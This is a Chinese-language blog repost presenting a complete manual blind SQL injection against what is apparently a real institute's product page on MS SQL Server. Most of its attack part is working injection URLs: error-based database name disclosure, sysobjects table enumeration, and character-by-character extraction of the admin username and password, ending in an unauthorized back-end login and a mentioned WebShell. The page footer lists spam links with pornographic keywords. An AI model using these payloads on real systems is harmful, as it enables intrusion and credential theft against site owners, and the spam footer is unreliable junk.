一個純手工打造的完整SQL注入過程

      網友投稿 1070 2025-03-31

      搜索SQL注入,很多文檔是概要原理介紹和個別例句,很難找到一個詳細又完整一點的測(入)試(侵)案例。現在共享一份n(n>=9)年前學習和玩轉SQL注入的實踐實戰。雖有的方面已經略顯過時,但還有一定學習和參考價值,特保持原汁原味的貼上來!

      一、引子

      長夜慢慢,無心睡眠……(^_*)

      無意中翻到幾年前聽的一首名為《祖先的陰影》的搖滾,這么長久的歷史,混合著許多的罪惡與功績;這么燦爛的文化, 夾雜著太多的愚昧與文明。美好的,如漢字,中醫,詩詞曲賦等;糟糕的,如一輩子只會干“殺盡叛賊、占據王位,選好王妃,建造墳堆”四件事的皇帝及官僚制度,小腳,太監及八股文等等。

      噢,且慢,八股文——不要言之過早!今天,讓我用八股文這一舊瓶,來包裝一下IT方面的新酒;把數據庫注入這一有幾個年頭的安全技術,再寫一篇略有新意的文章。

      二、概要

      所謂數據庫注入,也就是SQL Injection,就是攻擊者把SQL命令插 入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。來自官方的說法是:“當應用程序使用輸入內容來構造動態SQL語句以訪問數據庫時,會發生SQL注入攻擊。如果代碼使用存儲過程,而這些存儲過程作為包含未篩選的用戶輸入的字符串來傳遞,也會發生SQL注入攻擊。SQL注入可能導致攻擊者能夠使用應用程序登錄在數據庫中執行命令。如果應用程序使用特權過高的帳戶連接到數據庫,這種問題會變得很嚴重。”在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL注入攻擊。而許多網站程序在編寫時,沒有對用戶輸入數據的合法性進行判斷或者程序中本身的變量處理不當,使應用程序存在安全隱患。這樣用戶就可以提交一段數據庫查詢代碼,(一般是在瀏覽器地址欄進行,通過正常的www端口訪問)根據程序返回的結果,獲得一些敏感的信息或者控制整個服務器,于是SQL注入產生了。其實簡單點說,SQL注入的原理就是從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取你想到得到的資料。

      當然,能不能構造、構造什么樣的數據庫查詢代碼,就有是菜鳥和高手的區別了;同時我向毛主席保證:我絕不是高手——我基本上連數據庫都不會用,所以大伙看了文章后不要問我太多太深的問題,因為我也不知道。

      三、檢測

      查找資料的過程中,被鏈接到某電信技術研究院網站,看了一下首頁代碼及鏈接,用and和or簡單測試了一下,沒發現什么,在最后快要放棄的時候,發現如下頁面有點意思。

      1=1(不正常)

      1=2(也不正常)

      一個純手工打造的完整SQL注入過程

      加一個特殊符號,則如下圖示。

      (返回正常)

      (返回異常)

      嘿嘿,存在注入,心花怒放!

      四、暴庫

      上面就可以知道該網站后臺數據庫是MS SQL Server,也可以證實一下(想到一個月前的技術考試了嗎)。

      (select count(*) from [sysobjects])>=0(返回正常,可見數據庫為SQL Server

      探測該網站數據庫實例名,我很幸運,竟然通過錯誤暴出來,請看下圖。

      SQL Server中DB_NAME 最大值是 NVARCHAR(128),我提交錯誤,網站也報錯,看紅色下劃線處和紅色長方形里,可見數據庫實例名為jstrd。

      五、尋表

      漫長而痛苦的工作開始了,同時因為在創建一個數據庫的同時,系統會自動建立一些系統表,我構造了如下的語句,來探測數據庫實例jstrd中的表名。

      限于篇幅的緣故我在這里只介紹與應用實例有關的一個系統表(SYSOBJECTS)及其相關的字段。

      表SYSOBJECTS為數據庫內創建的每個對象(約束,規則,表,視圖,觸發器等)創建一條記錄。該表相關字段的含義如下:

      SYSOBJECTS.name 對象名,如:表名,視圖名。

      SYSOBJECTS.id 對象id。

      SYSOBJECTS.type 對象類型(p存儲過程,v視圖,s系統表,u用戶表)。

      太帥了,返回正確,提交的“系統態”語句是:

      http://*/show_products.asp?id=22%27%20and%20%28Select%20count%28%2a%29%20from%20jstrd..%5bsysobjects%5d%20where%20xtype=char%28117%29%20and%20left%28jstrd..%5bsysobjects%5d.name%2c0%29=char%2832%29%20and%20len%28jstrd..%5bsysobjects%5d.name%29%3e0%29%3e0%20and%20%271%27=%271&classid=1

      翻譯成我們容易識別的“用戶態”(以后都用這種形式表示)是:

      http://*/show_products.asp?id=22' and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,0)=char(32) and len(jstrd..[sysobjects].name)>0 and abs(ascii(substring(jstrd..[sysobjects].name,1,1)))

      < =67)>0 and '1'='1&classid=1

      或許各位要懵了,這都是些什么東西啊,亂七八糟的?我笑而不答,謎底將在后面揭開。但事先點一下:

      xtype是那張表的一個字段,xtype=char(117) 也就是 xtype='U' 意思是取用戶的表。

      空格(Space)的ASCII編碼是32。

      歷經近百次的失敗后,在如下語句輸入時,探測到我認為是存儲用戶名和密碼的一張表(之前也探測到別的表,但我認為對自己沒有用。并且要說一下的是當我探測到有TblAd之后,我直覺得加上了TblAdmin;后來發現還沒完,有TblAdminUs之后,我直覺得加上了TblAdminUser)。

      http://*/show_products.asp?id=22' and (Select count(*) From jstrd..[sysobjects] where xtype=char(117) and left(jstrd..[sysobjects].name,11)=CHAR(84)+CHAR(98)+

      CHAR(108)+CHAR(65)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)+CHAR(85)+CHAR(115)+CHAR(101) and len(jstrd..[sysobjects].name)>11 and

      abs(ascii(substring(jstrd..[sysobjects].name,12,1)))=114)>0 and '1'='1&classid=1

      可見有TblAdminUser這么一張表,我們可以再測試一下,如下圖。

      and (select count(*) from TblAdminUser)>0

      六、探列

      各位看到這里,上面的謎底很可能都明白了。什么,還有不明白的!那好,告訴你:網站及后臺系統理會我上面所說的“系統態”,不理會“用戶態”。你們看看如下兩個表。

      (部分Unicode編碼表)

      (部分ASCII編碼表)

      剛才尋到了表,現在我們的工作是探列了,綜合運用上面提到過的知識,加上我的直覺猜測里面應該就有username和password兩個列,果然!請看下圖。

      http://*/show_products.asp?id=22' and (Select count(*) from jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].username,0)=char(32) and len(jstrd..[TblAdminUser].username)>0)>0 and '1'='1&classid=1

      http://*/show_products.asp?id=22' and (Select count(*) from jstrd..[TblAdminUser] where left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0)>0 and '1'='1&classid=1

      七、結果

      沖鋒的號角已經響起,勝利在望;可“行百里者,半于九十”,真正要花大半功夫的地方,也在這。

      http://*/show_products.asp?id=22'%20and%20(Select%20count(*)%20From%20jstrd..[TblAdminUser]%20where%20%20left(jstrd..[TblAdminUser].username,0)=char(32)%20and%20len(jstrd..[TblAdminUser].username)>0%20and%20abs(ascii(substring(jstrd..[TblAdminUser].username,1,1)))=97)>0%20and%20'1'='1&classid=1

      可見username列中,第一個字符是a (ASCII編碼為97),很快,就猜測到了是admin。

      判斷password列中,第一個字符應該在g之后,如下圖示。

      http://*/show_products.asp?id=22' and (Select count(*) From jstrd..[TblAdminUser] where? left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))>103)>0 and '1'='1&classid=1

      很快,就猜到了是j,呵呵,有點意思。如下圖示。

      http://*/show_products.asp?id=22' and (Select count(*) From jstrd..[TblAdminUser] where? left(jstrd..[TblAdminUser].password,0)=char(32) and len(jstrd..[TblAdminUser].password)>0 and abs(ascii(substring(jstrd..[TblAdminUser].password,1,1)))=106)>0 and '1'='1&classid=1

      歷經千辛萬苦后,我終于找到了全部密碼,竟然是*********

      輕松找到后臺,登陸,果然正確!如下圖示。

      八、尾聲

      因為這份文檔主要側重數據庫手工注入,所以注入成功獲得WebShell后的進一步滲透不作介紹。在這里,是我拋出一塊破磚,引你們收獲更多的良玉。個人感覺,注入能成功,得益于以下三點:

      1、Unicode編碼和ASCII編碼的應用;

      2、系統會自動建立的系統表sysobjects的應用;

      3、db_name最大長度128的應用,加上一些直覺判斷。

      整個過程,耗了近一個星期的業余時間,此時,又是一個深夜……

      夜色沉沉,睡意濃濃。

      虛擬化

      版權聲明:本文內容由網絡用戶投稿,版權歸原作者所有,本站不擁有其著作權,亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容,請聯系我們jiasou666@gmail.com 處理,核實后本網站將在24小時內刪除侵權內容。

      版權聲明:本文內容由網絡用戶投稿,版權歸原作者所有,本站不擁有其著作權,亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容,請聯系我們jiasou666@gmail.com 處理,核實后本網站將在24小時內刪除侵權內容。

      上一篇:如何更改顏色或從Word中的超鏈接中刪除下劃線?
      下一篇:表格線移不動(表格線移不動是什么原因)
      相關文章
      亚洲图片激情小说| 亚洲精品在线观看视频| 久久丫精品国产亚洲av不卡 | 亚洲自偷自偷图片| 亚洲A∨精品一区二区三区| 亚洲精品无码专区在线| 亚洲熟妇无码av另类vr影视 | 亚洲乱码中文字幕综合 | 色噜噜亚洲精品中文字幕| 亚洲国产精品专区在线观看| 亚洲av无码国产精品色在线看不卡| 亚洲va中文字幕无码| 亚洲国产综合无码一区二区二三区| www亚洲精品久久久乳| 亚洲av高清在线观看一区二区| 深夜国产福利99亚洲视频| 国产成人高清亚洲一区久久| 国产成人亚洲综合在线| 免费在线观看亚洲| 亚洲情侣偷拍精品| 日本亚洲国产一区二区三区| 亚洲色欲色欲www在线丝| 亚洲国产另类久久久精品| 亚洲高清在线观看| 久久亚洲AV成人出白浆无码国产| 亚洲日产2021三区在线| 久久亚洲精品专区蓝色区| 亚洲精品久久无码av片俺去也| 亚洲av成本人无码网站| 亚洲午夜爱爱香蕉片| 亚洲日产无码中文字幕| 亚洲综合无码一区二区| 亚洲免费在线视频播放| 亚洲人成人伊人成综合网无码| 亚洲av日韩专区在线观看| 亚洲人成人网站在线观看| 亚洲免费观看视频| 久久精品国产精品亚洲毛片| 亚洲一级毛片视频| 日韩国产精品亚洲а∨天堂免| 亚洲视频在线一区二区|